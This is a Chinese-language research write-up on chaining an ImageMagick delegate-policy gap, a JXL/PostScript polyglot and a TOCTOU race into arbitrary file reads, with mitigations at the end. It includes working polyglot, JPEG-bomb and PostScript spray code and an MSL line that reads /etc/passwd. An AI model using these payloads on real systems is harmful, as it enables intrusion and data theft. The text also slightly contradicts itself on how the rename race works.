摘要

從使用者上傳的影像產生縮圖或色彩 metadata 的 Web 應用程式,經常將解碼工作委派給 ImageMagick (IM) ,而 IM 又會將某些格式交給外部直譯器(例如 Ghostscript (GS))。這份報告分析在生產等級論壇平台的上傳 pipeline 中觀察到的具體攻擊鏈,其中 (1) 透過 format-detection 模糊性繞過限制性的 IM security policy,(2) format polyglot 擊敗檔案類型 allowlist,以及 (3) time-of-check-to-time-of-use (TOCTOU) race condition — 由 parser-complexity "zip-bomb" 風格的 JPEG 擴大 — 將不可利用的操作(primitive)轉換為可靠的 任意檔案讀取 。

資安研究員如何用TOCTOU與Polyglot攻破ImageMagick? | 資訊安全新聞

1. 簡介

使用 delegate 的影像處理一直是長期存在的攻擊面:僅 ImageMagick 就在 2016 年產生了 ImageTragick 漏洞揭露以及多個後續 CVE,因為它將檔案的 偵測到 格式(而非其 宣告 的副檔名)視為權威,並且對於無法原生解碼的格式,它會 shell out 到外部二進位檔 [2] 。此處檢視的案例延續了這個脈絡:Trust-Level-0(最低權限)使用者可以透過呼叫 convert 且沒有 coder prefix 的個人頭像上傳端點來存取 ImageMagick,以計算影像的「主要顏色」值。由於呼叫路徑接受任何副檔名 或 magic bytes 符合支援影像類型的檔案,多個獨立的 parsers — Rack 的 multipart handler、快速 C-based image sniffer、ImageMagick 的 MIME detector,以及 libxml2 的 encoding sniffer — 必須各自獨立地分類同一個 byte stream,但它們的結果並不一致。

2. 透過 PDF-to-PostScript Delegation 繞過 Policy

部署環境的 ImageMagick policy 直接拒絕 PostScript (PS) coder module,這應該能防止任意的 PS 執行:

  1. <!-- /usr/local/etc/ImageMagick-7/policy.xml -->
  2. <!-- Line 1: XML root element "policy" with domain="module" scopes this -->
  3. <!-- rule to coder MODULES (the PS/EPS/PDF decoder plugins), not to files. -->
  4. <!-- Line 1: rights="none" removes read/write/execute rights entirely. -->
  5. <!-- Line 1: pattern="{PS,PS2,PS3,EPS,XPS}" lists every PostScript-family -->
  6. <!-- coder name ImageMagick recognizes internally; PDF is NOT in this set. -->
  7. <policy domain="module" rights="none" pattern="{PS,PS2,PS3,EPS,XPS}" />

缺口在於 PDF rendering 並非由 IM 自己的 PS coder 處理;它是透過 delegate.xml 委派 給外部的 Ghostscript binary:

  1. <!-- /usr/local/etc/ImageMagick-7/delegate.xml -->
  2. <!-- Line 1: decode="pdf" fires whenever IM classifies the input as PDF; -->
  3. <!-- encode="eps" is the output coder this delegate rule is wired to. -->
  4. <!-- Line 1: mode="bi" = bidirectional, delegate both reads and writes. -->
  5. <!-- Line 1: command="'gs' ..." is executed via the shell with IM's own -->
  6. <!-- temp paths substituted into %i (input) and %o (output). -->
  7. <!-- -dSAFER restricts Ghostscript's file/operator sandbox at the GS -->
  8. <!-- level, independent of ImageMagick's policy.xml. -->
  9. <!-- -sDEVICE=eps2write selects Ghostscript's PostScript-family output -->
  10. <!-- driver, which internally still parses the input using the PS/PDF -->
  11. <!-- interpreter, so policy.xml's PS module ban is never consulted here. -->
  12. <delegate decode="pdf" encode="eps" mode="bi" command="'gs' -sstdout=%%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=eps2write' '-sPDFPassword=%a' '-sOutputFile=%o' '-f%i'"/>

Ghostscript 本身透過 sniffing 檔案的前幾個位元組來選擇 interpreter,而非信任 pdf delegate tag:以字串 %PDF- 開頭的檔案會交給 PDF interpreter,而其他內容則落入 PostScript interpreter [3] 。由於 ImageMagick 自己的 PDF MIME rule 也依賴 .pdf 副檔名或相同的 %PDF- prefix,一個具有 .pdf 名稱和 PostScript body 但缺少 PDF magic marker 的檔案,會被 IM 路由到 "pdf" delegate,交給 gs ,並被解釋為原始 PostScript。module-level policy denial 在架構上無關緊要,因為執行路徑從未觸及 IM 內部的 PS coder。

3. Format-Detection Divergence:JXL/PostScript Polyglot

要存取此 delegate,上傳必須先通過檢查檔案名稱副檔名和/或快速 magic-byte sniffer 輸出的應用程式層級 allowlist,並與一組固定的影像類型(JPEG、PNG、WebP、JXL 等)比對。JPEG XL (JXL) 檔案以 4-byte ISO-BMFF box-size field 開頭,其中三個必須為 null;第四個不受 detector 檢查約束。將該第四個位元組設為 % 的 ASCII 值,會使滿足 sniffer JXL signature 的相同位元組變成有效的 PostScript comment line,因為 PostScript 將 % 視為 line-comment marker,並靜默容忍 leading NUL bytes:

  1. # Program 1: builds a 2-in-1 file that both (a) fools the magic-byte
  2. # image-type sniffer into reporting "jxl" with valid dimensions, and
  3. # (b) is parsed as legal PostScript by Ghostscript's PS interpreter.
  4. import struct
  5. def jxl_poly(ps_code):
  6. # Line: pack a big-endian 4-byte box size of 37 (0x25 = ASCII '%').
  7. # Because the low byte of the size field doubles as a PS comment
  8. # opener, this one field satisfies both parsers simultaneously.
  9. # b'JXL ' is the mandatory 4-byte ISO-BMFF box type for the JXL
  10. # signature box; '\x0A%' opens a second PostScript comment line;
  11. # 26 filler bytes keep the box's declared size self-consistent.
  12. sig = struct.pack('>I', 37) + b'JXL ' + b'\x0A%' + b'A' * 26 + b'\x0A'
  13. # Line: second ISO-BMFF box, type "jxlc" (JXL raw codestream),
  14. # again sized 37 bytes so FastImage's parser stays in-bounds.
  15. # \xFF\x0A is the real JXL codestream magic the sniffer checks.
  16. # struct.pack('<HH', 0x0A25, 0) encodes a width/height pair that
  17. # the sniffer reads as non-zero pixel dimensions (passes a
  18. # "dimensions must not be 0x0" validation check), while the same
  19. # bytes read as "\n%" open yet another PS comment line.
  20. jxlc = struct.pack('>I', 37) + b'jxlc' + b'\xFF\x0A' + struct.pack('<HH', 0x0A25, 0) + b'%' + b'B' * 21 + b'\x0A'
  21. # Line: concatenate the two boxes with the attacker-supplied
  22. # PostScript payload; every byte of the "image" header is inside
  23. # a comment from the PS interpreter's point of view.
  24. return sig + jxlc + ps_code
  25. # Line: minimal PS payload used only to prove code execution by
  26. # painting a solid color rectangle (observable via output metadata).
  27. ps_code = b'0 0 1 setrgbcolor 0 0 612 792 rectfill showpage'
  28. open('polyglot.pdf', 'wb').write(jxl_poly(ps_code))

以上傳 .pdf 副檔名來說,這個單一檔案同時滿足應用程式的「這是支援的影像嗎」檢查(透過 JXL signature)和 Ghostscript PostScript interpreter(因為 signature bytes 同時作為 comments),將第 2 節和第 3 節串連成在 GS sandbox 內確認的指令執行,無需任何 GS-specific memory-safety bug。

3.1 上傳 Call Path 的架構

相關的控制流程如下:

sequenceDiagram participant U as Low-privilege user participant API as Upload endpoint participant FH as Extension + magic-byte check participant IM as ImageMagick (convert) participant GS as Ghostscript (gs) U->>API: POST file.pdf (JXL/PS polyglot) API->>FH: classify by filename + sniffed magic bytes FH-->>API: accepted as supported image type API->>IM: convert file.pdf -> dominant_color (no coder prefix) IM->>IM: MIME rule matches "pdf" (.pdf name or %PDF- bytes) IM->>GS: invoke pdf-decode delegate command GS->>GS: sniff first bytes: not "%PDF-" -> use PS interpreter GS-->>IM: PostScript payload executes under -dSAFER IM-->>API: JSON response carries side-channel (e.g. color value)

4. 擴大 Race Window:Shared Temp File 上的 TOCTOU

在限制性 sandbox 下的 PostScript 執行本身是一個狹窄的操作(primitive),但它可透過 PS renamefile operator 暴露的 POSIX rename() semantics 來變更磁碟上的檔案。上傳的檔案被檢查一次(取得 type 和 dimensions),稍後再從同一路徑再次使用(dominant-color conversion)— 典型的 TOCTOU pattern— [4] 。這兩個階段之間的原始 window 太窄而無法可靠命中,因此攻擊故意透過餵送一個精心製作的 JPEG 來減慢中間的 optimization pass,使其相對於檔案大小最大化 marker-parsing cost:

  1. # Program 2: generates a JPEG whose declared pixel count is large but
  2. # whose APP0 marker count is artificially inflated, so a metadata-
  3. # stripping optimizer must parse thousands of markers before the
  4. # upload pipeline reaches the dominant-color stage, widening the
  5. # TOCTOU race window to several seconds.
  6. from PIL import Image
  7. import io, struct
  8. # Line: allocate a 6324x6324 (~40 megapixel) solid-color RGB canvas;
  9. # large dimensions increase the baseline decode cost for the
  10. # optimizer without requiring complex pixel content.
  11. img = Image.new('RGB', (6324, 6324), color=(122, 12, 132))
  12. buf = io.BytesIO()
  13. # Line: encode as progressive JPEG; progressive scans require extra
  14. # multi-pass parsing versus baseline JPEG, adding further cost.
  15. img.save(buf, format='JPEG', quality=90, progressive=True)
  16. jpeg = buf.getvalue()
  17. # Line: loop prepends a 6-byte empty APP0 marker (FF E0, length 4,
  18. # zero-length body) right after the JPEG SOI marker on every
  19. # iteration, until the file reaches ~1MB; a marker-aware parser must
  20. # walk every one of these before reaching image data.
  21. while len(jpeg) < 1_000_000:
  22. jpeg = jpeg[:2] + b'\xFF\xE0\x00\x04\x00\x00' + jpeg[2:]
  23. # Line: write the padded JPEG bomb to disk for upload.
  24. open('bomb.jpg', 'wb').write(jpeg)

當 optimizer 忙碌約 25 秒時,攻擊者控制的 PostScript script 可以同時執行,並使用 renamefile — 而非就地截斷和重寫檔案 — 來原子性地交換受害者 open file descriptor 接下來將讀取的內容,而不使該 descriptor 失效:

% Program 3: PostScript "spray" routine. Writes an SVG trigger file
% once, waits for the victim's upload to reach the optimization
% stage, then atomically overwrites every pending .msvg temp file
% with that trigger so the later ImageMagick call reads attacker
% content instead of the originally uploaded bytes.

% Line: open /tmp/_spray_svg for writing ("w" file operator) and
% duplicate the file object reference so write + close can chain.
(/tmp/_spray_svg) (w) file dup

% Line: SVG payload embeds an <image> element whose xlink:href uses
% the "msl:" coder prefix, forcing ImageMagick's internal SVG parser
% to treat /tmp/payload.msl as a Magick Scripting Language script
% (a separate primitive used to perform the actual file read).
(<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
  width="200" height="200"><image xlink:href="msl:/tmp/payload.msl"
  width="200" height="200"/></svg>)
writestring closefile

% Line: busy-wait loop polling PostScript's "realtime" clock (ms)
% until roughly 3000ms have elapsed, giving the victim's upload time
% to pass its one-time content validation before the swap happens.
{ realtime 3000 ge { exit } if } loop

% Line: filenameforall enumerates every path matching /tmp/*.msvg;
% for each match, renamefile performs a POSIX rename() of the
% trigger file onto that path. rename() repoints the path atomically
% without touching the original inode, so any file descriptor the
% victim process already has open keeps reading the OLD content,
% avoiding corruption mid-read and making the timing non-critical.
(/tmp/*.msvg) { /target exch def (/tmp/_spray_svg) target renamefile } 256 string filenameforall

由於重新命名的路徑現在解析為攻擊者控制的 SVG,且 ImageMagick 的內部 SVG handling(僅可透過 .msvg -suffixed path 存取,繞過用於普通 .svg 檔案的 librsvg delegate)將 msl: -prefixed xlink:href 視為 script location 而非影像 URL,後續的 conversion call 執行 MSL script,例如 <read filename="label:@/etc/passwd"/><write filename="/tmp/exfil.png"/> ,產生任意檔案讀取。第二個相同的 race,用產生的輸出檔案替換 SVG trigger,透過普通的上傳-response JSON 將內容 exfiltrate 回來。

4.1 End-to-End Timing

sequenceDiagram participant U as Attacker upload #1 (JPEG bomb, .msvg path) participant OP as Marker-parsing optimizer participant PS as PostScript spray (via Section 3 primitive) participant IM2 as ImageMagick dominant-color pass U->>OP: upload crafted JPEG bomb as pending .msvg temp file OP->>OP: parse thousands of padded APP markers (~25s) par during optimizer delay PS->>PS: wait until realtime >= 3000ms PS->>U: renamefile(/tmp/_spray_svg -> victim .msvg path) end OP-->>IM2: optimization finishes, same path handed onward IM2->>IM2: read path now resolves to attacker SVG (old fd unaffected) IM2->>IM2: xlink:href="msl:..." triggers MSL read of target file IM2-->>U: response JSON / follow-up upload exposes exfiltrated bytes

5. 討論

三個特性使這個攻擊鏈可靠而非僅僅理論上可行。首先,format classification 由多個元件(extension check、magic-byte sniffer、delegate MIME rule、interpreter self-detection、XML encoding sniffer)獨立執行,沒有 shared source of truth,因此單一 polyglot 可以同時滿足 divergent checks。其次,module-level security policy(拒絕 PS coder)未涵蓋 delegate-level code path(PDF→Ghostscript),該路徑到達相同的底層 interpreter,說明 allowlists 必須在執行點強制執行,而非在相鄰的 abstraction layer。第三,POSIX rename semantics 會保留已開啟 descriptors 的舊 inode 內容,這通常是 crash-safety 的安全保證,但在此移除了通常與 TOCTOU exploitation 相關的精確時序需求,因為 swap 只需要在 下一個 open 之前落地,而非在當前讀取過程中插入。有效的緩解措施需要採用涵蓋 delegates 與 coders 的一致性預設拒絕政策,並避免在 request lifecycle 中跨多個 trust boundaries 重複使用同一個檔案系統路徑。

6. 結論

分析的 pipeline 顯示,現代影像處理 stacks 即使底層 C libraries 中沒有任何 zero-day memory-corruption bug,仍然可被利用,純粹透過 policy gaps、parser disagreement 和 filesystem race conditions 的組合。在採用類似 convert-on-upload 架構的防禦者,應審計每個 delegate entry 檢查其相對於編碼器政策的覆蓋缺口,將 format detection 正規化為單一 parser,並將任何多次重新開啟使用者提供 temp path 的工作流程視為 TOCTOU 風險,無論 apparent window 多小。